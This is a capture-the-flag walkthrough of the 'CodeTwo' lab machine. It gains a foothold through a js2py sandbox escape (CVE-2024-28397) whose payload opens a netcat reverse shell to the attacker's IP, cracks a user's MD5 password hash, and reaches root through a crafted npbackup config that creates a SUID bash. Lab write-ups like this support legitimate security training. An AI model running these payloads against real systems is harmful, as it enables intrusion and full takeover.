Post

CodeTwo

CodeTwo

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
sudo nmap -PN -sC -sV -oN codetwo 10.129.186.144    
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-17 12:42 PKT
Nmap scan report for 10.129.186.144
Host is up (0.51s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodeTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.34 seconds

Let’s interact with the exposed port 8000.

alt text

We will register and login. I tried multiple methods of enumerating and exposing globals. However, our methods failed. Since we don’t understand what the backend is it’s not easy to understand the exploit chain either.

app.py

I then moved on to see what their “downloaded app” would contain. Surely enough that was our clue to getting to our exploit:

1
2
3
4
5
6
7
cat app.py               
from flask import Flask, render_template, request, redirect, url_for, session, jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

What I noticed was the library js2py.

js2py vulnerability

It allows for RCE and escaping the sandbox:

POChttps://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py

We will modify just the command:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let cmd = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.40 1234 >/tmp/f;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11

and run it on the sandbox for a reverse shell.

Foothold

Shell as app

1
2
3
4
5
6
nc -lvnp 1234                                                
listening on [any] 1234 ...
connect to [10.10.16.40] from (UNKNOWN) [10.129.186.144] 58750
sh: 0: can't access tty; job control turned off
$ whoami
app

We will do all the TTY upgrades. We already understand the app structure, we will enumerate the sqlite database first.

Enumerating Database

1
2
3
4
sqlite> SELECT * FROM user
   ...> ;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

This is an md5 hash and we have creds:

marco:sweetangelbabylove

We have the user flag down.

Privilege Escalation

We will try and see if there are any obvious privilege escalation path with sudo -l:

1
2
3
4
5
6
Matching Defaults entries for marco on codetwo:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codetwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Sure enough, let’s see if npbackup-cli has any known LPE vulnerabilities associated with it. Also, let’s enumerate what the script does and how the script works.

Understanding the script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
marco@codetwo:~$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

This looks like a wrapper for npbackup. We aren’t allowed to run this bin with the flag --external-backend-binary as it allows for running any arbitrary binary.

We need to check what other flags this binary have:

1
2
3
4
5
6
7
8
9
10
11
12
npbackup-cli --help
<SNIP>
  -c CONFIG_FILE, --config-file CONFIG_FILE
    Path to
    alternative
    configurati
    on file
    (defaults
    to current 
    dir/npbacku
    p.conf)
<SNIP>

I couldn’t find the config file so I tried running the bianary in hopes that it might create a config itself:

1
2
3
4
marco@codetwo:/usr/local/bin$ sudo /usr/local/bin/npbackup-cli
2025-08-17 08:51:12,422 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2025-08-17 08:51:12,425 :: CRITICAL :: Cannot run without configuration file.
2025-08-17 08:51:12,431 :: INFO :: ExecTime = 0:00:00.011375, finished, state is: critical.

We have the config file in marco’s home directory (or you could also find it from their github):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
marco@codetwo:/usr/local/bin$ cat ~/npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
<SNIP>

Let’s craft a malicious config:

Crafting a malicious config file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
rootbash-5.0# cat test.conf
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: file:/tmp/npb-repo
    repo_group: default_group
    backup_opts:
      paths:
      - /etc
      source_type: folder_list
    repo_opts:
      repo_password_command: /bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod u+s /tmp/rootbash && echo pwnd'
    prometheus: {}
    env: {}
    is_protected: false

groups:
  default_group:
    backup_opts:
      pre_exec_commands:
        - /bin/bash -c 'echo "[+] pre_exec ran as root" >> /tmp/npb_poc.log'
      post_exec_commands:
        - /bin/bash -c 'echo "[+] post_exec ran as root" >> /tmp/npb_poc.log'
      post_exec_execute_even_on_backup_error: true
    repo_opts: {}
    prometheus: {}
    env: {}
    is_protected: false

identity:
  machine_id: test
  machine_group: test
global_prometheus: {}
global_options: {}

What this config does is we define a repo (the file: part is invalid but we don’t care about it being successful either). The repo_password_command isn’t supposed to be empty so we copy bash and set SUID bits to access it as root once we run the npbackup-cli binary on it. This password command is guaranteed to run whenever we run our backup binary. The pre_exec_commands and post_exec_commands can also be leveraged for the same malicious purpose but we just log the status here.

Shell as root

1
2
3
4
sudo /usr/local/bin/npbackup-cli -c test.conf --backup -f

marco@codetwo:/tmp$ ./rootbash -p
rootbash-5.0# cat /root/root.txt

This post is licensed under CC BY 4.0 by the author.